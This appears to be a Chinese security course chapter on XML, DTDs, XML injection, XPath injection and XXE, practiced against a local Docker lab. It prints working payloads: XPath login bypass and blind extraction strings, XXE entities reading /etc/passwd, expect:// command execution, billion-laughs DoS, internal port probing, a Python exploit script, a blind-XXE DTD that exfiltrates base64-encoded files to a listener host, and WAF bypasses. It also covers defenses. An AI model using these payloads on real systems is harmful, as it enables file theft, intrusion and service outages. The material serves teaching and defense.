40 KiB
09.xml注入与xxe
1. 简介
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据,而不是显示数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。XML语言没有预定义的标签。 目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。 XML和HTML之间的差异
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
1.1 基本格式
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!--xml 文件的声明 -->
<bookstore> <!-- 根元素 -->
<book category="COOKING"> <!--bookstore 的子元素, category 为属性 -->
<title>Everyday Italian</title> <!--book 的子元素 -->
<author>Giada De Laurentiis</author> <!--book 的子元素 -->
<year>2005</year> <!--book 的子元素 -->
<price>30.00</price> <!--book 的子元素 -->
</book> <!--book 的结束 -->
</bookstore> <!--bookstore 的结束 -->
<?xml version="1.0" encoding="UTF -8" standalone="yes"?>
称为XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
1.2 基本语法
所有XML元素都须有关闭标签。
- XML标签对大小写敏感。
- XML必须正确地嵌套。
- XML文档必须有根元素。
- XML的属性值须加引号。
若多个字符都需要转义,则可以将这些内容存放到CDATA里面
<![CDATA[ 内容 ]]>
1.3 DTD
- DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
- XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的。
- DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
1.4 实体引用
XML元素以形如 <tag>foo</tag>
的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用 < ; > ; & ; &apos ; " ;
替换< > & ' "
。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为Document Type Defination(DTD,文档类型定义)的过程中进行。
1.5 DTD
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
1.5.1 内部DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [ 元素声明 ]>
示例代码:
<?xml version="1.0"?>
<!DOCTYPE note [ <!-- 定义此文档是 note 类型的文档 -->
<!ELEMENT note ( to ,from ,heading ,body )> <!-- 定义 note 元素有四个元素 -->
<!ELEMENT to ( #PCDATA )> <!-- 定义 to 元素为 ”#PCDATA” 类型 -->
<!ELEMENT from ( #PCDATA )> <!-- 定义 from 元素为 ”#PCDATA” 类型 -->
<!ELEMENT head ( #PCDATA )> <!-- 定义 head 元素为 ”#PCDATA” 类型 -->
<!ELEMENT body ( #PCDATA )> <!-- 定义 body 元素为 ”#PCDATA” 类型 -->
]> <!-- 闭合元素声明 -->
<note >
<to >Y0u </to >
<from >@re </from >
<head >v3ry </head >
<body >g00d !< /body >
</note >
1.5.2 外部DTD
<!DOCTYPE 根元素名称 SYSTEM "dtd 路径 "> <!-- 引入外部的dtd文件 -->
<!DOCTYPE 根元素 PUBLIC "DTD 名称 " "DTD 文档的 URL"> <!-- 使用外部的dtd文件(网络上的dtd文件) -->
示例: 编写test.dtd文件
<!ELEMENT to ( #PCDATA )> <!-- 定义 to 元素为 ”#PCDATA” 类型 -->
<!ELEMENT from ( #PCDATA )> <!-- 定义 from 元素为 ”#PCDATA” 类型 -->
<!ELEMENT head ( #PCDATA )> <!-- 定义 head 元素为 ”#PCDATA” 类型 -->
<!ELEMENT body ( #PCDATA )> <!-- 定义 body 元素为 ”#PCDATA” 类型 -->
XML中导入DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
CDATA和PCDATA是XML中的两种区分文本的方式。
- CDATA是指将文本内容包含在
<![CDATA[ ]]>
标记中,表示此段文本不需要被解析器解释,而是直接作为原始文本进行处理。CDATA内可以包含特殊字符如<, >, &, '等,这些字符不会被看作标记或实体,而只是作为文本内容。 - PCDATA是指常规文本内容,即没有
<![CDATA[ ]]>
标记的文本内容,会被XML解析器解释并根据其规则进行处理。但是,XML中的一些特殊字符必须被转义,例如字符"<", ">", "&"、"'"、""",否则会与标记混淆。
CDTA和PCDATA的区别在于CDATA内的内容不会被XML解析器解析,而PCDATA的内容需要被解析器解析。
1.5.3 DTD元素
在一个 DTD 中,元素通过元素声明来进行声明。 声明一个元素 在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:
<!ELEMENT element-name category>
或
<!ELEMENT element-name (element-content)>
空元素 空元素通过类别关键词EMPTY进行声明:
<!ELEMENT element-name EMPTY>
实例:
<!ELEMENT br EMPTY>
XML example:
只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:
<!ELEMENT element-name (#PCDATA)>
实例:
<!ELEMENT from (#PCDATA)>
带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:
<!ELEMENT element-name ANY>
实例:
<!ELEMENT note ANY>
带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:
<!ELEMENT element-name (child1)>
或
<!ELEMENT element-name (child1,child2,...)>
实例:
<!ELEMENT note (to,from,heading,body)>
当子元素按照由逗号分隔开的序列进行声明时,这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中,子元素也必须被声明,同时子元素也可拥有子元素。"note" 元素的完整声明是:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
1.5.4 DTD属性
属性声明语法:
<!ATTLIST 元素名称 属性名称 属性类型 属性默认值 >
实例
DTD 实例:
<!ATTLIST payment type CDATA "check">
XML 实例:
<payment type="check" />
以下是 属性类型的选项:
类型 | 描述 |
---|---|
CDATA | 值为字符数据 (character data) |
(_en1_|_en2_|..) | 此值是枚举列表中的一个值 |
ID | 值为唯一的 id |
IDREF | 值为另外一个元素的 id |
IDREFS | 值为其他 id 的列表 |
NMTOKEN | 值为合法的 XML 名称 |
NMTOKENS | 值为合法的 XML 名称的列表 |
ENTITY | 值是一个实体 |
ENTITIES | 值是一个实体列表 |
NOTATION | 此值是符号的名称 |
xml: | 值是一个预定义的 XML 值 |
默认属性值可使用下列值 :
值 | 解释 |
---|---|
值 | 属性的默认值 |
#REQUIRED | 属性值是必需的 |
#IMPLIED | 属性不是必需的 |
#FIXED value | 属性值是固定的 |
1.5.5 示例
DTD:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
合法的 XML:
<square width="100" />
在上面的例子中,"square" 被定义为带有 CDATA 类型的 "width" 属性的空元素。如果宽度没有被设定,其默认值为0 。
1.5.6 REQUIRED
示例
DTD:
<!ATTLIST person number CDATA #REQUIRED>
合法的 XML:
<person number="5677" />
非法的 XML:
<person />
假如您没有默认值选项,但是仍然希望强制作者提交属性的话,请使用关键词 #REQUIRED。
1.5.7 IMPLIED
示例
DTD:
<!ATTLIST contact fax CDATA #IMPLIED>
合法的 XML:
<contact fax="555-667788" />
合法的 XML:
<contact />
假如您不希望强制作者包含属性,并且您没有默认值选项的话,请使用关键词 #IMPLIED。
1.5.8 FIXED
DTD:
<!ATTLIST sender company CDATA #FIXED "Microsoft">
合法的 XML:
<sender company="Microsoft" />
非法的 XML:
<sender company="W3Schools" />
如果您希望属性拥有固定的值,并不允许作者改变这个值,请使用 #FIXED 关键词。如果作者使用了不同的值,XML 解析器会返回错误。
1.5.9 列举属性值
DTD:
<!ATTLIST payment type (check|cash) "cash">
XML 例子:
<payment type="check" />
或
<payment type="cash" />
如果您希望属性值为一系列固定的合法值之一,请使用列举属性值。
1.5.10 DTD实体
- 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
按实体有无参分类,实体分为一般实体和参数实体
- 一般实体
<!ENTITY 实体名称 " 实体内容 ">
引用一般实体的方法: &实体名称 ; 一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
- 参数实体
<!ENTITY % 实体名称 " 实体内容 ">
引用参数实体的方法: %实体名称 ; 参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。 按实体使用方式分类,实体分为内部声明实体和引用外部实体
- 内部实体
<!ENTITY 实体名称 " 实体的值 ">
示例
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "eagleslab">
<!ENTITY copyright "Copyright www.eagleslab.com">
]>
<test>&writer;©right;</test>
- 外部实体
外部实体,用来引入外部资源。有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
示例
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://test.com/dtd/entities.dtd">
]>
<author>&file;©right;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同:
libxml2 | php | java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
PHP支持的协议会更多一些,但需要一定的扩展:Rar\Ogg\https\ftps\zip\ssh2\expect
扩展 | 协议 |
---|---|
openssl | https |
ftps | |
zip | zip |
ssh2 | ssh2.shell |
ssh2.exec | |
ssh2.tunnel | |
ssh2.sftp | |
ssh2.scp | |
rar | rar |
ogg | oggvorbis |
expect | expect |
PHP引用外部实体,常见的利用协议:
file:// 文件绝对路径 如: file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
语法
<!ENTITY % 实体名称 SYSTEM "URI/URL">
示例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file
(参数实体)是在DTD中被引用的,而&file;
是在xml文档中被引用的。
2. XML注入
XML的设计宗旨是传输数据,而非显示数据。 XML注入是一种古老的技术,通过利用闭合标签改写XML文件实现的。 XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
前提条件
- 用户能够控制数据的输入
- 程序有拼凑的数据
示例 现有test.xml文件内容
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id ="1" >
<username>admin </username >
<password>admin </password >
</admin>
<admin id ="2" >
<username>root </username>
<password>root </password>
</admin>
</manager>
XML与HTML一样,也存在注入攻击,在注入的方法上也非常相似。 对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入。如攻击者输入:
admin </password></admin><admin id="3"><name>hack</name>
<password>hacker
最终修改结果为
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id ="1">
<username>admin </username >
<password>admin </password >
</admin>
<admin id ="2">
<username>root </username>
<password>admin </password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker </password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。 XML注入两大要素:标签闭合和获取XML表结构
2.1 XML注入防御
- 对用户的输入进行过滤
- 对用户的输入进行转义
3. XPath注入
XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。 XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
3.1 攻击特点
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。 XPath注入攻击同SQL注入攻击类似,但与SQL注入相比,XPath具有的优势:
3.1.1 广泛性
只要是利用XPath语法的Web 应用程序若未对输入的XPath查询做严格的处理都会存在XPath注入漏。 而在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。
3.1.2 危害大
XPath语言几乎可以没有访问控制限制的引用XML文档的所有部分。而在SQL注入中,一个用户的权限可能被限制到 某一特定的表、列或者查询。XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。
3.1.3 注入原理
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。 注入对象不是数据库users表,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookie,headers,request,parameters,input等。 如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取 据,或者删除数据之类的操作。 Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。 现有代码test.xml(存储用户名和密码)
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id >1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
test.php(用于接收传入参数,并进行XML查询)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<center>
<form action="">
<h1>登陆</h1>
<input type="text" name="name" placeholder="用户名"><br>
<input type="password" name="pwd" placeholder="密码"><br>
<input type="submit" value="登陆">
</form>
</center>
</body>
</html>
<?php
if (!isset($_GET['name']) || !isset($_GET['pwd'])) {
die();
}
$xml = simplexml_load_file('test.xml');
$name = $_GET['name'];
$pwd = $_GET['pwd'];
$query = "/root/users/user[username/text()='" . $name . "' and password/text()='" . $pwd . "']";
echo $query;
$result = $xml->xpath($query);
if ($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '
ID:' . $value->id;
echo '
Username:' . $value->username;
}
}else{
echo '<h2>用户名密码错误</h2>';
}
?>
simplexml_load_file() 是PHP 中一个常用的 XML 解析函数,它可以从指定的 XML 文件中读取数据,并将其转换为一个简单的对象或数组。该函数支持基于 DOM 和SAX 两种解析方式,具有速度快、内存消耗小、易于使用等特点,适合于处理较小的 XML 文件和简单的 XML 数据格式。 在使用 simplexml_load_file() 函数时,需要传入一个 XML 文件路径作为参数,该函数会自动解析该文件,并返回一个 SimpleXMLElement 对象,该对象表示了整个 XML 文件的结构和各个元素的属性、文本节点等信息。通过访问 SimpleXMLElement 对象的属性和方法,可以轻松地获取和操作 XML 数据。
攻击利用:
攻击者在 username 字段中输入: ' or 1=1 or ''='
上面这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。
攻击者可以利用XPath在应用程序中动态地操作XML文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。
3.2 XPath盲注
如果要遍历出整个XML文档,一般步骤如下:
3.2.1 盲注根节点
利用count(/*)
判断根下节点:
' or count(/*) =1 or '1' = '2
有返回结果证明存在一个根节点。 利用substring分割根节点的每个字符,猜解第一级节点:
' or substring(name(/*[position()=1]),1,1)='r' or '1'='2 # 猜根节点第一个字母是不是r
' or substring(name(/*[position()=1]),2,1)='o' or '1'='2 # 猜根节点第二个字母是不是o
此处如果错误将会看不到welcome
3.2.2 盲注子节点
判断root的下一级节点数:
' or count(/root/*) =1 or '1' = '2
有返回结果证明存在一个root的下一级节点。 猜解root的下一级节点:
' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='2 # 猜子节点第一个字母是不是u
' or substring(name(/root/*[position()=1]),2,1)='s' or '1'='2 # 猜子节点第二个字母是不是s
重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值。
3.3 Xpath注入攻击危害
- 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据。
- 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
- 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。
3.4 Xpath注入攻击防御
- 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
- 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
- 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
- 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
- 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。
4. XML外部实体注入
4.1 XXE漏洞简介
- XXE漏洞全称XML External Entity Injection,即XML外部实体注入。
- XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
- XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
- 解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
- simplexml_load_string()可以读取XML
4.2 测试环境搭建
现有xxe.php文件代码
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>
代码说明:
file_get_contents 获取客户端输入内容 new DOMDocument() 初始化 XML 解析器 loadXML($xmlfile) 加载客户端输入的 XML 内容 simplexml_import_dom($dom) 获取 XML 文档节点,如果成功则返回 SimpleXMLElement 对象,如果失败则返回 FALSE 。 获取 SimpleXMLElement 对象中的节点 XXE ,然后输出 XXE 内容。
提交数据
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<xml>
<xxe>&file;</xxe>
</xml>
报错提示
Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in
a future version. To avoid this warning set 'always_populate_raw_post_data' to
'-1' in php.ini and use the php://input stream instead.
这是一条 PHP 警告信息,用于提示用户当前使用的 PHP 版本中已经不再支持自动填充 $HTTP_RAW_POST_DATA变量,而应该使用 php://input 流来获取客户端提交的原始 POST 数据。这个警告通常在 PHP 5.6.x 或更高版本中出现,旨在提醒用户及时更新代码以适应新的 PHP 版本和功能。 建议按照警告信息中的指示,在 php.ini 文件中将 always_populate_raw_post_data 设置为 -1 ,以允许自动填充 $HTTP_RAW_POST_DATA 变量,或者降低版本。
4.3 XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显 有回显,可以直接在页面中看到payload的执行结果或现象。 无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
4.3.1 任意文件读取
首先准备一个有XXE漏洞的文件,这里以xxe1.php文件为例
<?php
$xml = simplexml_load_string ($_REQUEST ['xml' ]);
print_r ($xml ); // 注释掉该语句即为无回显的情况
?>
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<root>
<name>&file;</name>
</root>
进行URL编码
http://localhost:8081/xxe.php?xml=
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0A%3C!DOCTYPE%20xxe%20%5B%0A%3C!ELEMENT%20name%20ANY%20%3E%0A%3C!ENTITY%20file%20SYSTEM%20%22file%3A%2F%2F%2FC%3A%2F%2FWindows%2F%2Fwin.ini%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%20%20%3Cname%3E%26file%3B%3C%2Fname%3E%0A%3C%2Froot%3E
通过构造外部实体payload,在xml中&file;
变成了外部文件C:\Windows\win.ini
中内容,导致敏感信息泄露。
4.3.2 执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
<name>&xxe;</name>
</root>
通过XXE可以实现RCE的实例比较少,需要依赖协议。
4.3.3 拒绝服务攻击(Dos)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归引用,lol实体具体还有“lol”字符串,然后一个lol2实体引用了10次lol实体,一个lol3实体引用了10次lol2实体,此时一个lol3实体就含有10^2 个“lol”了,以此类推,lol9实体含有10^8 个“lol”字符串,最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)。亦或者,如果目标是UNIX系统
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<foo>&xxe;</foo>
如果XML解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
4.3.4 探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
<name>&xxe;</name>
</root>
端口有没有开放等待的时间和报错的内容是不同的
4.3.5 攻击内网网站
跟前面端口探测差不多的思路
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload">]>
<root>
<name>&xxe;</name>
</root>
4.3.6 XXE利用脚本
创建xxe.php文件
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
读取文件的python脚本
import urllib.request
import urllib.parse
if __name__ == '__main__':
url = "http://localhost:8081/xxe.php"
file = "file:///C://Windows//win.ini"
headers = { 'Content-type' : 'text/xml' }
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + file + '" >]><root><name>&xxe;</name></root>'
data = xml.encode('utf-8')
req = urllib.request.Request(url, data, headers)
response = urllib.request.urlopen(req)
print(response.read().decode('utf-8'))
运行效果
4.3.7 靶场演示
使用一下靶场练习回显读取文件和无回显读取文件
docker run -d -p 8080:80 --name xxe registry.cn-hangzhou.aliyuncs.com/eagleslab/security:xxelab
可以看到在输入之后抓包发包过程中,发现通过XML传输数据。 代码审计
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
可以通过代码分析构造如下payload:
4.3.7.1 有回显
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
当然也可以使用伪协议之类对目标文件进行读取
php://filter/read=convert.base64-encode/resource=doLogin.php
4.3.7.2 无回显
修改源码,禁掉输出代码和报错信息,改成无回显。
docker exec -it xxe bash
sed -i 's#echo $result;# #' /app/public/doLogin.php
exit
这个时候可以看到之前的payload就没有效果了。 遇到无回显,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。 本地部署一个evil.dtd文件: http://192.168.173.1:8081/evil.dtd ,内容为
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.173.1:8000?p=%file;'>">
然后加载我们的payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.173.1:8000/evil.dtd">
%remote;%int;%send;
]>
从访问日志当中读取到指定的文件
- 主要思路分析
- 先调用%remote,请求远程服务器(攻击服务器)上的
http://192.168.173.1:8000/evil.dtd
- 再调用evil.dtd中的%file。%file获取受攻击的服务器上面的敏感文件,然后将%file的返回结果传到%send。
- 然后调用%send;把读取到的数据发送到远程服务器上。
- 这样就实现了外带数据的效果,解决 XXE 无回显的问题。
- 先调用%remote,请求远程服务器(攻击服务器)上的
- 优化一下payload
修改 http://192.168.173.1:8000/evil.dtd
文件为
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.173.1:8000?p=%file;'>">
对应的payload为
<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://192.168.173.1:8000/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"> %dtd;%payload;%send;
]>
4.4 XXE绕过
4.4.1 编码绕过
ENTITY、SYSTEM、file被过滤 使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
4.4.2 文档中的额外空格
由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?>
或<!DOCTYPE>
中插入额外的空格,从而绕过此类WAF。
4.4.3 格式无效
比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中。 这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。
4.4.4 外来编码
除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如 <?xml?> )——文档的第一个字节带有可选的BOM(字节顺序标记)。 一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 BE和LE)、UTF-32(四个变体 BE、LE、2143、3412)和EBCDIC编码。 在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 utf-32BE,特别是不支持BOM。
4.5 XXE工具
